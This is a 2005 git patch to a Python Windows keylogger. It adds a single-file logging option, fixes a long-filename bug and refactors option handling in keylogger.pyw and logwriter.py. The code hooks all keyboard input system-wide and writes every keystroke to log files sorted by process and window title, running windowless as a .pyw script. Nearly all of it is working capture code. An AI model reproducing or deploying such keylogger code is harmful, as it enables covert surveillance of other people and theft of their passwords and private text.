From dfb99526964aa03afee28899fea5ce92dc6c5039 Mon Sep 17 00:00:00 2001 From: nanotube Date: Sun, 18 Sep 2005 06:59:51 +0000 Subject: [PATCH] added -o commandline option. fixed long filename bug. --- keylogger.pyw | 19 +++++----- logwriter.py | 98 ++++++++++++++++++++++++++++----------------------- 2 files changed, 63 insertions(+), 54 deletions(-) diff --git a/keylogger.pyw b/keylogger.pyw index 4fd1446..0e98a29 100644 --- a/keylogger.pyw +++ b/keylogger.pyw @@ -12,9 +12,7 @@ class KeyLogger: def __init__(self): self.ParseOptions() - self.hm = pyHook.HookManager() - self.hm.KeyDown = self.OnKeyboardEvent if self.options.hookKeyboard == True: @@ -22,17 +20,16 @@ class KeyLogger: #if self.options.hookMouse == True: # self.hm.HookMouse() - self.lw = LogWriter(self.options.dirname, self.options.debug) + self.lw = LogWriter(self.options) pythoncom.PumpMessages() - def OnKeyboardEvent(self, event): '''This function is the stuff that's supposed to happen when a key is pressed. Calls LogWriter.WriteToLogFile with the keystroke properties. ''' - self.lw.WriteToLogFile(event, self.options) + self.lw.WriteToLogFile(event) if event.Key == self.options.exitKey: sys.exit() @@ -43,8 +40,8 @@ class KeyLogger: '''Read command line options ''' - parser = OptionParser(version="%prog version 0.4.2") - parser.add_option("-f", "--file", action="store", dest="dirname", help="write log data to DIRNAME [default: %default]") + parser = OptionParser(version="%prog version 0.6.0") + parser.add_option("-f", "--file", action="store", dest="dirName", help="write log data to DIRNAME [default: %default]") parser.add_option("-k", "--keyboard", action="store_true", dest="hookKeyboard", help="log keyboard input [default: %default]") parser.add_option("-a", "--addlinefeed", action="store_true", dest="addLineFeed", help="add linefeed [\\n] character when carriage return [\\r] character is detected (for Notepad compatibility) [default: %default]") parser.add_option("-b", "--parsebackspace", action="store_true", dest="parseBackspace", help="translate backspace chacarter into printable string [default: %default]") @@ -55,8 +52,9 @@ class KeyLogger: parser.add_option("-d", "--debug", action="store_true", dest="debug", help="debug mode (print output to console instead of the log file) [default: %default]") parser.add_option("-n", "--nolog", action="append", dest="noLog", help="specify an application by full path name whose input will not be logged. repeat option for multiple applications. [default: %default]") + parser.add_option("-o", "--onefile", action="store", dest="oneFile", help="log all output to one file ONEFILE, (inside DIRNAME, as specified with -f option), rather than to multiple files. [default: %default]") - parser.set_defaults(dirname=r"C:\Temp\logdir", + parser.set_defaults(dirName=r"C:\Temp\logdir", hookKeyboard=True, addLineFeed=False, parseBackspace=False, @@ -64,10 +62,11 @@ class KeyLogger: exitKey='F12', flushKey='F11', debug=False, - noLog=None) + noLog=None, + oneFile=None) (self.options, args) = parser.parse_args() - + if __name__ == '__main__': kl = KeyLogger() diff --git a/logwriter.py b/logwriter.py index d022f34..826dd1e 100644 --- a/logwriter.py +++ b/logwriter.py @@ -7,14 +7,15 @@ import sys class LogWriter: - def __init__(self, rootLogDir=r"C:\Temp\logdir", debug=False): + def __init__(self, options): - self.debug = debug + self.options = options - self.rootLogDir = os.path.normpath(rootLogDir) + #self.rootLogDir = os.path.normpath(options.dirName) + self.options.dirName = os.path.normpath(self.options.dirName) try: - os.makedirs(self.rootLogDir, 0777) #TODO: change this to makedirs??? + os.makedirs(self.options.dirName, 0777) except OSError, detail: if(detail.errno==17): #if directory already exists, swallow the error pass @@ -22,28 +23,30 @@ class LogWriter: print "OSError:", detail self.writeTarget = "" - self.systemlog = open(r"C:\Temp\logdir\systemlog.txt", 'a') + #self.systemlog = open(os.path.join(os.path.normpath(self.options.dirName), "systemlog.txt"), 'a') - def WriteToLogFile(self, event, options): - loggable = self.OpenLogFile(event, options.noLog) - + def WriteToLogFile(self, event): + loggable = self.TestForNoLog(event) + if not loggable: # if the program is in the no-log list, we return without writing to log. - if self.debug: print "not loggable, we are outta here" + if self.options.debug: print "not loggable, we are outta here" return - if self.debug: print "loggable, lets log it" + if self.options.debug: print "loggable, lets log it" + self.OpenLogFile(event) + asciiSubset = [8,9,10,13,27] #backspace, tab, line feed, carriage return, escape asciiSubset.extend(range(32,128)) #all normal printable chars - if options.parseBackspace == True: + if self.options.parseBackspace == True: asciiSubset.remove(8) #remove backspace from allowed chars if needed - if options.parseEscape == True: + if self.options.parseEscape == True: asciiSubset.remove(27) #remove escape from allowed chars if needed if event.Ascii in asciiSubset: self.PrintStuff(chr(event.Ascii)) - if event.Ascii == 13 and options.addLineFeed == True: + if event.Ascii == 13 and self.options.addLineFeed == True: self.PrintStuff(chr(10)) #add line feed after CR,if option is set #we translate all the special keys, such as arrows, backspace, into text strings for logging @@ -52,70 +55,78 @@ class LogWriter: self.PrintStuff('[KeyName:' + event.Key + ']') #translate backspace into text string, if option is set. - if event.Ascii == 8 and options.parseBackspace == True: + if event.Ascii == 8 and self.options.parseBackspace == True: self.PrintStuff('[KeyName:' + event.Key + ']') #translate escape into text string, if option is set. - if event.Ascii == 27 and options.parseEscape == True: + if event.Ascii == 27 and self.options.parseEscape == True: self.PrintStuff('[KeyName:' + event.Key + ']') - if event.Key == options.flushKey: + if event.Key == self.options.flushKey: self.log.flush() - self.systemlog.flush() + # self.systemlog.flush() - def OpenLogFile(self, event, noLog): + def TestForNoLog(self, event): + '''This function returns False if the process name associated with an event + is listed in the noLog option, and True otherwise.''' + + self.processName = self.GetProcessNameFromHwnd(event.Window) + if self.options.noLog != None: + for path in self.options.noLog: + if os.stat(path) == os.stat(self.processName): #we use os.stat instead of comparing strings due to multiple possible representations of a path + #if self.debug: + # print "we dont log this" + return False + return True + + def OpenLogFile(self, event): - filter=r"[\\\/\:\*\?\"\<\>\|]+" #regexp filter for the non-allowed characters in windows filenames. + if self.options.oneFile != None: + if self.writeTarget == "": + self.writeTarget = os.path.join(os.path.normpath(self.options.dirName), os.path.normpath(self.options.oneFile)) + self.log = open(self.writeTarget, 'a') + if self.options.debug: print "writing to:", self.writeTarget + return + - subDirName = self.GetProcessNameFromHwnd(event.Window) #our subdirname is the full path of the process owning the hwnd. + filter=r"[\\\/\:\*\?\"\<\>\|]+" #regexp filter for the non-allowed characters in windows filenames. - if noLog != None: - for path in noLog: #check our options to make sure that we dont log specified apps. - if os.stat(path) == os.stat(subDirName): #we use os.stat instead of comparing strings due to multiple possible representations of a path - if self.debug: - print "we dont log this" - return False - if self.debug: - print "we log this" - - #subDirName = re.sub(r':?\\',r'__',subDirName) - subDirName = re.sub(filter,r'__',subDirName) + subDirName = re.sub(filter,r'__',self.processName) #our subdirname is the full path of the process owning the hwnd, filtered. WindowName = re.sub(filter,r'__',str(event.WindowName)) try: - os.makedirs(os.path.join(self.rootLogDir, subDirName), 0777) + os.makedirs(os.path.join(self.options.dirName, subDirName), 0777) except OSError, detail: if(detail.errno==17): #if directory already exists, swallow the error pass else: print "OSError:", detail - filename = time.strftime('%Y%m%d') + "_" + str(event.Window) + "_" + WindowName + ".txt" + filename = time.strftime('%Y%m%d') + "_" + str(event.Window) + "_" + WindowName + filename = filename[0:200] + ".txt" #make sure our filename is not longer than 255 characters, as per filesystem limit. #we do this writetarget thing to make sure we dont keep opening and closing the log file when all inputs are going #into the same log file. so, when our new writetarget is the same as the previous one, we just write to the same #already-opened file. - if self.writeTarget != os.path.join(self.rootLogDir, subDirName, filename): + if self.writeTarget != os.path.join(self.options.dirName, subDirName, filename): if self.writeTarget != "": - if self.debug: + if self.options.debug: print "flushing and closing old log" - self.systemlog.write("flushing and closing old log\n") + #self.systemlog.write("flushing and closing old log\n") self.log.flush() self.log.close() - self.writeTarget = os.path.join(self.rootLogDir, subDirName, filename) - if self.debug: + self.writeTarget = os.path.join(self.options.dirName, subDirName, filename) + if self.options.debug: print "writeTarget:",self.writeTarget - self.systemlog.write("writeTarget: " + self.writeTarget + "\n") + #self.systemlog.write("writeTarget: " + self.writeTarget + "\n") self.log = open(self.writeTarget, 'a') - - return True def PrintStuff(self, stuff): - if self.debug == False: + if not self.options.debug: self.log.write(stuff) - self.systemlog.write(stuff) + #self.systemlog.write(stuff) else: sys.stdout.write(stuff) @@ -123,7 +134,6 @@ class LogWriter: def GetProcessNameFromHwnd(self, hwnd): threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd) - #if self.debug: print "(threadid, processid)", threadpid, procpid # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF) -- 2.45.1